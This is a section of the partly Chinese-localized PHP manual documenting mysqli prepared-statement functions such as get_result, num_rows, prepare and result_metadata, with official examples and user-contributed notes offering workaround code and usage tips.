$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = $mysqli->prepare($query);
$stmt->bind_param("s", $continent);

$continentList = array('Europe', 'Africa', 'Asia', 'North America');

foreach ($continentList as $continent) {
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_array(MYSQLI_NUM)) {
foreach ($row as $r) {
print "$r ";
}
print "\n";
}
}

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, Population, Continent FROM Country WHERE Continent=? ORDER BY Name LIMIT 1";

$stmt = mysqli_prepare($link, $query);
mysqli_stmt_bind_param($stmt, "s", $continent);

$continentList= array('Europe', 'Africa', 'Asia', 'North America');

foreach ($continentList as $continent) {
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
while ($row = mysqli_fetch_array($result, MYSQLI_NUM)) {
foreach ($row as $r) {
print "$r ";
}
print "\n";
}
}

以上示例的输出类似于：

Albania 3401200 Europe
Algeria 31471000 Africa
Afghanistan 22720000 Asia
Anguilla 8000 North America

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_fetch_array() - Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_stmt_store_result() - Stores a result set in an internal buffer

User Contributed Notes

HeadlessDev 26-Jul-2019 09:47
Thanks to everyone that leaves notes, without them I would not be able to do what I do. I wrote this function with help from notes on this page and others.

I did not have mysqlnd available to me, but wanted to be able to get_result() of a query as an object.

PLEASE NOTE: I am not an expert at PHP

Heres an example of using my get_result() to login users
<?php
    //Sanitize input before using this function
    function login($email, $password){
        require 'connect_db.php';
        $query = $sql->stmt_init();
        if($query->prepare("SELECT CustomerId, Password, Admin FROM users WHERE Email = ?")){
            $query->bind_param("s",$email);
            $result = get_result($query); //USING FUNCTION  HERE
            if($result != NULL){
                $user = $result[0];
                if(password_verify($password, $user->Password)){
                    $_SESSION['user_id'] = $user->CustomerId;
                    if($user->Admin == 1){
                        $_SESSION['admin'] = true;
                    }
                    $sql->close();
                    return true;
                }
            }
        }
        $sql->close();
        //If we get here they are not logged in
        return false;
    }

    //Returns an array with each row as an object
    function get_result($stmt){
        $stmt->execute(); //Execute query
        $stmt->store_result(); //Store the results
        $num_rows = $stmt->num_rows; //Get the number of results
        $results = NULL;
        if($num_rows > 0){
            //Get metadata about the results
            $meta = $stmt->result_metadata();
            //Here we get all the column/field names and create the binding code
            $bind_code = "return mysqli_stmt_bind_result(\$stmt, ";
            while($_field = $meta->fetch_field()){
                $bind_code .= "\$row[\"".$_field->name."\"], ";
            }
            //Replace trailing ", " with ");"
            $bind_code = substr_replace($bind_code,");", -2);
           //Run the code, if it doesn't work return NULL
            if(!eval($bind_code)) {
                $stmt->close();
                return NULL;
            }
            //This is where we create the object and add it to our final result array
            for($i=0;$i<$num_rows;$i++){
               //Gets the row by index
                $stmt->data_seek($i);
                //Update bound variables used in $bind_code with new row values
                $stmt->fetch();
                foreach($row as $key=>$value){
                    //Create array using the column/field name as the index
                    $_result[$key] = $value;
                }
                //Cast $_result to object and append to our final results
                $results[$i] = (object)$_result;
            }
        }
        $stmt->close();
        return $results;
    }
?>
jeffspicer at gmail dot com 30-Jun-2018 06:59
To prevent others from hours of screaming trying to figure out why this does not work when you have the native driver enabled.  It is because you need to make sure you enable both native drives mysqlnd and nd_mysqli on your server if you wish to use this functionality.

Otherwise just enabling the mysqlnd native driver does include the mysqli_stmt_get_result function as this apparently resides in the nd_mysqli native driver.  Unfortunately, most documentation only ever talks about the mysqlnd native driver.

Once you enable both native drivers this function works as documented.
Anon 22-Jun-2018 06:22
Please OH PLEASE.
I have been trying to get a result set from this function, and I had 0 luck completely, for nearly 3 hours!

If you ARE using mysqli_stmt_get_results() to get a result set, in conjuction with mysqli_stmt_store_results in order to retrieve the number of rows returned, you are going to have some major trouble!

PHP Documentation states that to retrieve the number of rows returned by a prepared select sql statement, one should call the following statements respectively:

mysqli_stmt_execute($stmt);
mysqli_stmt_store_result($stmt);
$num_rows = mysqli_stmt_num_rows($stmt);

THIS IS A MAJOR DEATH TRAP, IF YOU ARE USING mysqli_stmt_get_result() in conjunction!!!! Results of doing so vary depending which statements you call first, but in the end, you will NOT get the desired result.

In conclusion, please, PLEASE, NEVER use mysqli_stmt_store_result(), then mysqli_ AND mysqli_stmt_get_result() at the the same time. This is a MAJOR death trap.

SOLUTION:
If you are trying to get a result set, and you need the number of rows returned at the same time, use the following statements respectively instead:

$result_set = mysqli_stmt_get_results($stmt);
$num_rows = mysqli_num_rows($result_set);

Reflecting on my actions, this solution may seem fairly obvious. However, to someone new using PHP (like me) or someone who is not fully comfortable with prepared statements, it's very easy to get lost by using Google and learn on your own.

Summary:
NEVER use mysqli_stmt_store_result($stmt) & mysqli_stmt_num_rows($stmt) in conjunction with mysqli_stmt_get_result($stmt). You will regret it!! I have been stuck on this for hours, and Google offered me no answer!
Haravikk 28-Oct-2016 01:43
For those interested, this function seems to always produce a stored result, making it equivalent to mysqli::store_result(), rather than fetching on demand as in the case of mysqli::use_result().

This is important as it means that you cannot control the nature of the result as you would normally by calling mysqli_stmt::store_result() prior to fetching, as I had personally expected.

So, if you want to emulate the behaviour of mysqli::use_result() you will still need to use mysqli_stmt::bind_param() and mysqli_stmt::fetch().
Anonymous 06-Oct-2013 08:39
I went through a lot of trouble on a server where mysqlnd wasn't available, and had a lot of headaches.

If you don't have mysqlnd installed/loaded whatever, you will get an undefined reference when trying to call "mysqli_stmt_get_result()".

I wrote my own mysqli_stmt_get_result() and a mysqli_result_fetch_array() to go with it.

<?php
class iimysqli_result
{
    public $stmt, $nCols;
}

function iimysqli_stmt_get_result($stmt)
{
    /**    EXPLANATION:
     * We are creating a fake "result" structure to enable us to have
     * source-level equivalent syntax to a query executed via
     * mysqli_query().
     *
     *    $stmt = mysqli_prepare($conn, "");
     *    mysqli_bind_param($stmt, "types", ...);
     *
     *    $param1 = 0;
     *    $param2 = 'foo';
     *    $param3 = 'bar';
     *    mysqli_execute($stmt);
     *    $result _mysqli_stmt_get_result($stmt);
     *        [ $arr = _mysqli_result_fetch_array($result);
     *            || $assoc = _mysqli_result_fetch_assoc($result); ]
     *    mysqli_stmt_close($stmt);
     *    mysqli_close($conn);
     *
     * At the source level, there is no difference between this and mysqlnd.
     **/
    $metadata = mysqli_stmt_result_metadata($stmt);
    $ret = new iimysqli_result;
    if (!$ret) return NULL;

    $ret->nCols = mysqli_num_fields($metadata);
    $ret->stmt = $stmt;

    mysqli_free_result($metadata);
    return $ret;
}

function iimysqli_result_fetch_array(&$result)
{
    $ret = array();
    $code = "return mysqli_stmt_bind_result(\$result->stmt ";

    for ($i=0; $i<$result->nCols; $i++)
    {
        $ret[$i] = NULL;
        $code .= ", \$ret['" .$i ."']";
    };

    $code .= ");";
    if (!eval($code)) { return NULL; };

    // This should advance the "$stmt" cursor.
    if (!mysqli_stmt_fetch($result->stmt)) { return NULL; };

    // Return the array we built.
    return $ret;
}
?>

Hope this helps someone.
jari dot wiklund at gmail dot com 16-Sep-2011 01:03
Please note that this method requires the mysqlnd driver. Othervise you will get this error: Call to undefined method mysqli_stmt::get_result()


Get result of SHOW WARNINGS

  • ? mysqli_stmt::get_result
  • mysqli_stmt::$insert_id ?
  • PHP Manual
  • mysqli_stmt
  • Get result of SHOW WARNINGS

mysqli_stmt::get_warnings

mysqli_stmt_get_warnings

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

mysqli_stmt::get_warnings -- mysqli_stmt_get_warnings — Get result of SHOW WARNINGS

说明

面向对象风格

public mysqli_stmt::get_warnings(): mysqli_warning|false

过程化风格

mysqli_stmt_get_warnings(mysqli_stmt $statement): mysqli_warning|false
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

There are no user contributed notes for this page.


Get the ID generated from the previous INSERT operation

  • ? mysqli_stmt::get_warnings
  • mysqli_stmt::more_results ?
  • PHP Manual
  • mysqli_stmt
  • Get the ID generated from the previous INSERT operation

mysqli_stmt::$insert_id

mysqli_stmt_insert_id

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$insert_id -- mysqli_stmt_insert_id — Get the ID generated from the previous INSERT operation

说明

面向对象风格

int|string $mysqli_stmt->insert_id;

过程化风格

mysqli_stmt_insert_id(mysqli_stmt $statement): int|string
Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

Aurelien Marchand 07-Apr-2015 03:59
for those with zerofilled IDs beware as mysqli_stmt::$insert_id will return an integer. In other words, if the ID returned from your query was #000099, the value produced by mysqli_stmt::$insert_id is now #99.

I have not found a way to fix this beside using sprintf('%06d',$id) but this assumes you know in advance the size of the ID beforehand.
hgernhardt at tcnewengland dot org 07-Feb-2011 07:33
It should be noted that using mysqli_stmt->insert_id will not result in a unique ID being returned for each execution of a prepared insert statement.  In practice, it appears that the first insertion ID is returned.  If you are performing multiple inserts with the same prepared statement (one invocation of mysqli_stmt::prepare and multiple invocations of mysqli_stmt::execute() for a given statement), and need to keep the unique ID for each insert, use mysqli_connection->insert_id.


Check if there are more query results from a multiple query

  • ? mysqli_stmt::$insert_id
  • mysqli_stmt::next_result ?
  • PHP Manual
  • mysqli_stmt
  • Check if there are more query results from a multiple query

mysqli_stmt::more_results

mysqli_stmt_more_results

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_stmt::more_results -- mysqli_stmt_more_results — Check if there are more query results from a multiple query

说明

面向对象风格

public mysqli_stmt::more_results(): bool

过程化风格:

mysqli_stmt_more_results(mysqli_stmt $statement): bool

Checks if there are more query results from a multiple query.

Note:

仅可用于 mysqlnd。

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

Returns true if more results exist, otherwise false.

参见

  • mysqli_stmt::next_result() - Reads the next result from a multiple query
  • mysqli::multi_query() - 在数据库上执行一个或多个查询

User Contributed Notes

There are no user contributed notes for this page.


Reads the next result from a multiple query

  • ? mysqli_stmt::more_results
  • mysqli_stmt::$num_rows ?
  • PHP Manual
  • mysqli_stmt
  • Reads the next result from a multiple query

mysqli_stmt::next_result

mysqli_stmt_next_result

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_stmt::next_result -- mysqli_stmt_next_result — Reads the next result from a multiple query

说明

面向对象风格

public mysqli_stmt::next_result(): bool

过程化风格:

mysqli_stmt_next_result(mysqli_stmt $statement): bool

Reads the next result from a multiple query.

Note:

Prior to PHP 8.1.0, available only with mysqlnd.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

更新日志

版本 | 说明
8.1.0 | Now also available when linking against libmysqlclient.

参见

  • mysqli_stmt::more_results() - Check if there are more query results from a multiple query
  • mysqli::multi_query() - 在数据库上执行一个或多个查询

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of rows fetched from the server

  • ? mysqli_stmt::next_result
  • mysqli_stmt::$param_count ?
  • PHP Manual
  • mysqli_stmt
  • Returns the number of rows fetched from the server

mysqli_stmt::$num_rows

mysqli_stmt::num_rows

mysqli_stmt_num_rows

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$num_rows -- mysqli_stmt::num_rows -- mysqli_stmt_num_rows — Returns the number of rows fetched from the server

说明

面向对象风格

int|string $mysqli_stmt->num_rows;
public mysqli_stmt::num_rows(): int|string

过程化风格

mysqli_stmt_num_rows(mysqli_stmt $statement): int|string

Returns the number of rows buffered in the statement. This function will only work after mysqli_stmt_store_result() is called to buffer the entire result set in the statement handle.

This function returns 0 unless all rows have been fetched from the server.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

An int representing the number of buffered rows. Returns 0 in unbuffered mode unless all rows have been fetched from the server.

Note:

If the number of rows is greater than PHP_INT_MAX, the number will be returned as a string.

示例

Example #1 面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = $mysqli->prepare($query);
$stmt->execute();

/* store the result in an internal buffer */
$stmt->store_result();

printf("Number of rows: %d.\n", $stmt->num_rows);

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = mysqli_prepare($link, $query);
mysqli_stmt_execute($stmt);

/* store the result in an internal buffer */
mysqli_stmt_store_result($stmt);

printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

以上示例会输出：

Number of rows: 20.

参见

  • mysqli_stmt_store_result() - Stores a result set in an internal buffer
  • mysqli_stmt_affected_rows() - Returns the total number of rows changed, deleted, inserted, or matched by the last statement executed
  • mysqli_prepare() - 预处理执行 SQL

User Contributed Notes

Typer85 at gmail dot com 27-Dec-2006 04:12
Please be advised, for people who sometimes miss to read this important Manual entry for this function:

If you do not use mysqli_stmt_store_result( ), and immediatley call this function after executing a prepared statement, this function will usually return 0 as it has no way to know how many rows are in the result set as the result set is not saved in memory yet.

mysqli_stmt_store_result( ) saves the result set in memory thus you can immedietly use this function after you both execute the statement AND save the result set.

If you do not save the result set but still want to use this function you have to actually loop through the result set one row at a time using mysqli_stmt_fetch( ) before using this function to determine the number of rows.

A thought though, if you want to determine the number of rows without storing the result set and after looping through it, why not just simply keep an internal counter in your loop every time a row is fetched and save the function call.

In short, this function is only really useful if you save the result set and want to determine the number of rows before looping through it, otherwise you can pretty much recreate its use like I suggested.


Returns the number of parameters for the given statement

  • ? mysqli_stmt::$num_rows
  • mysqli_stmt::prepare ?
  • PHP Manual
  • mysqli_stmt
  • Returns the number of parameters for the given statement

mysqli_stmt::$param_count

mysqli_stmt_param_count

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$param_count -- mysqli_stmt_param_count — Returns the number of parameters for the given statement

说明

面向对象风格

int $mysqli_stmt->param_count;

过程化风格

mysqli_stmt_param_count(mysqli_stmt $statement): int

Returns the number of parameter markers present in the prepared statement.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

Returns an integer representing the number of parameters.

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

if ($stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Name=? OR Code=?")) {

$marker = $stmt->param_count;
printf("Statement has %d markers.\n", $marker);

/* close statement */
$stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

if ($stmt = mysqli_prepare($link, "SELECT Name FROM Country WHERE Name=? OR Code=?")) {

$marker = mysqli_stmt_param_count($stmt);
printf("Statement has %d markers.\n", $marker);

/* close statement */
mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Statement has 2 markers.

参见

  • mysqli_prepare() - 预处理执行 SQL

User Contributed Notes

Senthryl 10-Mar-2009 11:47
This parameter (and presumably any other parameter in mysqli_stmt) will raise an error with the message "Property access is not allowed yet" if the statement was not prepared properly, or not prepared at all.

To prevent this, always ensure that the return value of the "prepare" statement is true before accessing these properties.


Prepares an SQL statement for execution

  • ? mysqli_stmt::$param_count
  • mysqli_stmt::reset ?
  • PHP Manual
  • mysqli_stmt
  • Prepares an SQL statement for execution

mysqli_stmt::prepare

mysqli_stmt_prepare

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::prepare -- mysqli_stmt_prepare — Prepares an SQL statement for execution

说明

面向对象风格

public mysqli_stmt::prepare(string $query): bool

过程化风格

mysqli_stmt_prepare(mysqli_stmt $statement, string $query): bool

Prepares a statement for execution. The query must consist of a single SQL statement.

The statement template can contain zero or more question mark (?) parameter markers?—also called placeholders. The parameter markers must be bound to application variables using mysqli_stmt_bind_param() before executing the statement.

Note:

In the case where a statement is passed to mysqli_stmt_prepare() that is longer than max_allowed_packet of the server, the returned error codes are different depending on whether you are using MySQL Native Driver (mysqlnd) or MySQL Client Library (libmysqlclient). The behavior is as follows:

  • mysqlnd on Linux returns an error code of 1153. The error message means got a packet bigger than max_allowed_packet bytes.

  • mysqlnd on Windows returns an error code 2006. This error message means server has gone away.

  • libmysqlclient on all platforms returns an error code 2006. This error message means server has gone away.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

query

The query, as a string. It must consist of a single SQL statement.

The SQL statement may contain zero or more parameter markers represented by question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are permitted in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value. However, they are not permitted for identifiers (such as table or column names).

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli_stmt::prepare() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* create a prepared statement */
$stmt = $mysqli->stmt_init();
$stmt->prepare("SELECT District FROM City WHERE Name=?");

/* bind parameters for markers */
$stmt->bind_param("s", $city);

/* execute query */
$stmt->execute();

/* bind result variables */
$stmt->bind_result($district);

/* fetch value */
$stmt->fetch();

printf("%s is in district %s\n", $city, $district);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* create a prepared statement */
$stmt = mysqli_stmt_init($link);
mysqli_stmt_prepare($stmt, "SELECT District FROM City WHERE Name=?");

/* bind parameters for markers */
mysqli_stmt_bind_param($stmt, "s", $city);

/* execute query */
mysqli_stmt_execute($stmt);

/* bind result variables */
mysqli_stmt_bind_result($stmt, $district);

/* fetch value */
mysqli_stmt_fetch($stmt);

printf("%s is in district %s\n", $city, $district);

以上示例会输出：

Amersfoort is in district Utrecht

参见

  • mysqli_stmt_init() - 初始化语句并返回用于 mysqli_stmt_prepare（调用）的对象
  • mysqli_stmt_execute() - Executes a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_get_result() - Gets a result set from a prepared statement as a mysqli_result object
  • mysqli_stmt_close() - Closes a prepared statement

User Contributed Notes

logos-php at kith dot orgpp 23-Mar-2012 05:34
Turns out you can't directly use a prepared statement for a query that has a placeholder in an IN() clause.

There are ways around that (such as constructing a string that consists of n question marks separated by commas, then using that set of placeholders in the IN() clause), but you can't just say IN (?).

This is a MySQL restriction rather than a PHP restriction, but it's not really documented in the MySQL docs either, so I figured it was worth mentioning here.

(Btw, turns out someone else had previously posted the info that I put in my previous comment, about not using quotation marks. Sorry for the repeat; not sure how I missed the earlier comment.)
logos-php at kith dot org 23-Mar-2012 07:06
Note that if you're using a question mark as a placeholder for a string value, you don't surround it with quotation marks in the MySQL query.

For example, do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > ?");

Do not do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > '?'");

If you put quotation marks around a question mark in the query, then PHP doesn't recognize the question mark as a placeholder, and then when you try to use mysqli_stmt_bind_param(), it gives an error to the effect that you have the wrong number of parameters.

The lack of quotation marks around a string placeholder is implicit in the official example on this page, but it's not explicitly stated in the docs, and I had trouble figuring it out, so figured it was worth posting.
ndungi at gmail dot com 22-Apr-2009 02:25
The `prepare` , `bind_param`, `bind_result`, `fetch` result, `close` stmt cycle can be tedious at times. Here is an object that does all the mysqli mumbo jumbo for you when all you want is a select leaving you to the bare essential `preparedSelect` on a prepared stmt. The method returns the result set as a 2D associative array with the `select`ed columns as keys. I havent done sufficient error-checking and it also may have some bugs. Help debug and improve on it.

I used the bible.sql db from http://www.biblesql.net/sites/biblesql.net/files/bible.mysql.gz.

Baraka tele!

============================

<?php

class DB
{
    public $connection;

    #establish db connection
    public function __construct($host="localhost", $user="user", $pass="", $db="bible")
    {
        $this->connection = new mysqli($host, $user, $pass, $db);

        if(mysqli_connect_errno())
        {
            echo("Database connect Error : "
            . mysqli_connect_error($mysqli));
        }
    }

    #store mysqli object
    public function connect()
    {
        return $this->connection;
    }

    #run a prepared query
    public function runPreparedQuery($query, $params_r)
    {
        $stmt = $this->connection->prepare($query);
        $this->bindParameters($stmt, $params_r);

        if ($stmt->execute()) {
            return $stmt;
        } else {
            echo("Error in $statement: "
                      . mysqli_error($this->connection));
            return 0;
        }

    }

 # To run a select statement with bound parameters and bound results.
 # Returns an associative array two dimensional array which u can easily
 # manipulate with array functions.

    public function preparedSelect($query, $bind_params_r)
    {
        $select = $this->runPreparedQuery($query, $bind_params_r);
        $fields_r = $this->fetchFields($select);

        foreach ($fields_r as $field) {
            $bind_result_r[] = &${$field};
        }

        $this->bindResult($select, $bind_result_r);

        $result_r = array();
        $i = 0;
        while ($select->fetch()) {
            foreach ($fields_r as $field) {
                $result_r[$i][$field] = $$field;
            }
            $i++;
        }
        $select->close();
        return $result_r;
    }

    #takes in array of bind parameters and binds them to result of
    #executed prepared stmt

    private function bindParameters(&$obj, &$bind_params_r)
    {
        call_user_func_array(array($obj, "bind_param"), $bind_params_r);
    }

    private function bindResult(&$obj, &$bind_result_r)
    {
        call_user_func_array(array($obj, "bind_result"), $bind_result_r);
    }

    #returns a list of the selected field names

    private function fetchFields($selectStmt)
    {
        $metadata = $selectStmt->result_metadata();
        $fields_r = array();
        while ($field = $metadata->fetch_field()) {
            $fields_r[] = $field->name;
        }

        return $fields_r;
    }
}
#end of class

#An example of the DB class in use

$DB = new DB("localhost", "root", "", "bible");
$var = 5;
$query = "SELECT abbr, name from books where id > ?" ;
$bound_params_r = array("i", $var);

$result_r = $DB->preparedSelect($query, $bound_params_r);

#loop thru result array and display result

foreach ($result_r as $result) {
    echo $result['abbr'] . " : " . $result['name'] . "<br/>" ;
}

?>
kontakt at arthur minus schiwon dot de 16-Jun-2008 07:22
If you wrap the placeholders with quotation marks you will experience warnings like "Number of variables doesn't match number of parameters in prepared statement" (at least with INSERT Statements).
mhradek AT gmail.com 15-May-2008 04:06
A particularly helpful adaptation of this function and the call_user_func_array function:

// $params is sent as array($val=>'i', $val=>'d', etc...)

function db_stmt_bind_params($stmt, $params)
{
    $funcArg[] = $stmt;
    foreach($params as $val=>$type)
    {
        $funcArg['type'] .= $type;
        $funcArg[] = $val;
    }
    return call_user_func_array('mysqli_stmt_bind_param', $funcArgs);
}

Thanks to 'sned' for the code.
lukaszNOSPAMPLEASE at epas dot pl 15-Jan-2008 07:15
i've got some bad news for you guys if you haven't found out already.
the trick with mysqli_next_result() only prevents having the connection dropped after a stored procedure call.
apparently you can bind parameters for a prepared stored procedure call, but you'll get messed up records from mysqli_stmt_fetch() after mysqli_stmt_bind_result(), at least when the stored procedure itself contains a prepared statement.
a way to avoid data corruption could be specifying the CLIENT_MULTI_STATEMENTS flag in mysqli_real_connect(), if it wasn't disabled entirely (for security reasons, as they say). another option is to use mysqli_multi_query(), but then you can't bind at all.
st dot john dot johnson at gmail dot com 04-Jun-2007 08:59
In reference to what lachlan76 said before, stored procedures CAN be executed through prepared statements as long as you tell the DB to move to the next result before executing again.

Example (Five calls to a stored procedure):

<?php
for ($i=0;$i<5;$i++) {
  $statement = $mysqli->stmt_init();
  $statement->prepare("CALL some_procedure( ? )");

  // Bind, execute, and bind.
  $statement->bind_param("i", 1);
  $statement->execute();
  $statement->bind_result($results);

  while($statement->fetch()) {
    // Do what you want with your results.
  }

  $statement->close();

  // Now move the mysqli connection to a new result.
  while($mysqli->next_result()) { }
}
?>

If you include the last statement, this code should execute without the nasty "Commands out of sync" error.
lachlan76 at gmail dot com 28-Nov-2006 08:59
Do not try to use a stored procedure through a prepared statement.

Example:

<?php
$statement = $mysqli->stmt_init();
$statement->prepare("CALL some_procedure()");
?>

If you attempt to do this, it will fail by dropping the connection during the next query.  Use mysqli_multi_query instead.

Example:

<?php
$mysqli->multi_query("CALL some_procedure()");
do
{
  $result = $mysqli->store_result();

   // Do your processing work here

  $result->free();
} while($mysqli->next_result());
?>

This means that you cannot bind parameters or results, however.
andrey at php dot net 07-Oct-2005 05:35
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


Resets a prepared statement

  • ? mysqli_stmt::prepare
  • mysqli_stmt::result_metadata ?
  • PHP Manual
  • mysqli_stmt
  • Resets a prepared statement

mysqli_stmt::reset

mysqli_stmt_reset

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::reset -- mysqli_stmt_reset — Resets a prepared statement

说明

面向对象风格

public mysqli_stmt::reset(): bool

过程化风格

mysqli_stmt_reset(mysqli_stmt $statement): bool

Resets a prepared statement on client and server to state after prepare.

It resets the statement on the server, data sent using mysqli_stmt_send_long_data(), unbuffered result sets and current errors. It does not clear bindings or stored result sets. Stored result sets will be cleared when executing the prepared statement (or closing it).

To prepare a statement with another query use function mysqli_stmt_prepare().

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mysqli_prepare() - 预处理执行 SQL

User Contributed Notes

There are no user contributed notes for this page.


Returns result set metadata from a prepared statement

  • ? mysqli_stmt::reset
  • mysqli_stmt::send_long_data ?
  • PHP Manual
  • mysqli_stmt
  • Returns result set metadata from a prepared statement

mysqli_stmt::result_metadata

mysqli_stmt_result_metadata

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::result_metadata -- mysqli_stmt_result_metadata — Returns result set metadata from a prepared statement

说明

面向对象风格

public mysqli_stmt::result_metadata(): mysqli_result|false

过程化风格

mysqli_stmt_result_metadata(mysqli_stmt $statement): mysqli_result|false

If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object that can be used to process the meta information such as total number of fields and individual field information.

Note:

This result set pointer can be passed as an argument to any of the field-based functions that process result set metadata, such as:

  • mysqli_num_fields()

  • mysqli_fetch_field()

  • mysqli_fetch_field_direct()

  • mysqli_fetch_fields()

  • mysqli_field_count()

  • mysqli_field_seek()

  • mysqli_field_tell()

  • mysqli_free_result()

The result set structure should be freed when you are done with it, which you can do by passing it to mysqli_free_result()

Note:

The result set returned by mysqli_stmt_result_metadata() contains only metadata. It does not contain any row results. The rows are obtained by using the statement handle with mysqli_stmt_fetch().

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

Returns a result object or false if an error occurred.

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query("DROP TABLE IF EXISTS friends");
$mysqli->query("CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query("INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = $mysqli->prepare("SELECT id, name FROM friends");
$stmt->execute();

/* get resultset for metadata */
$result = $stmt->result_metadata();

/* retrieve field information from metadata result set */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* close resultset */
$result->close();

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = mysqli_prepare($link, "SELECT id, name FROM friends");
mysqli_stmt_execute($stmt);

/* get resultset for metadata */
$result = mysqli_stmt_result_metadata($stmt);

/* retrieve field information from metadata result set */
$field = mysqli_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* close resultset */
mysqli_free_result($result);

/* close connection */
mysqli_close($link);
?>

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_free_result() - Frees the memory associated with a result

User Contributed Notes

potherca at gmail dot com 15-Apr-2010 12:52
If result_metadata() returns false but error/errno/sqlstate tells you no error occurred, this means your query is one that does not produce a result set, i.e. an INSERT/UPDATE/DELETE query instead of a SELECT query.

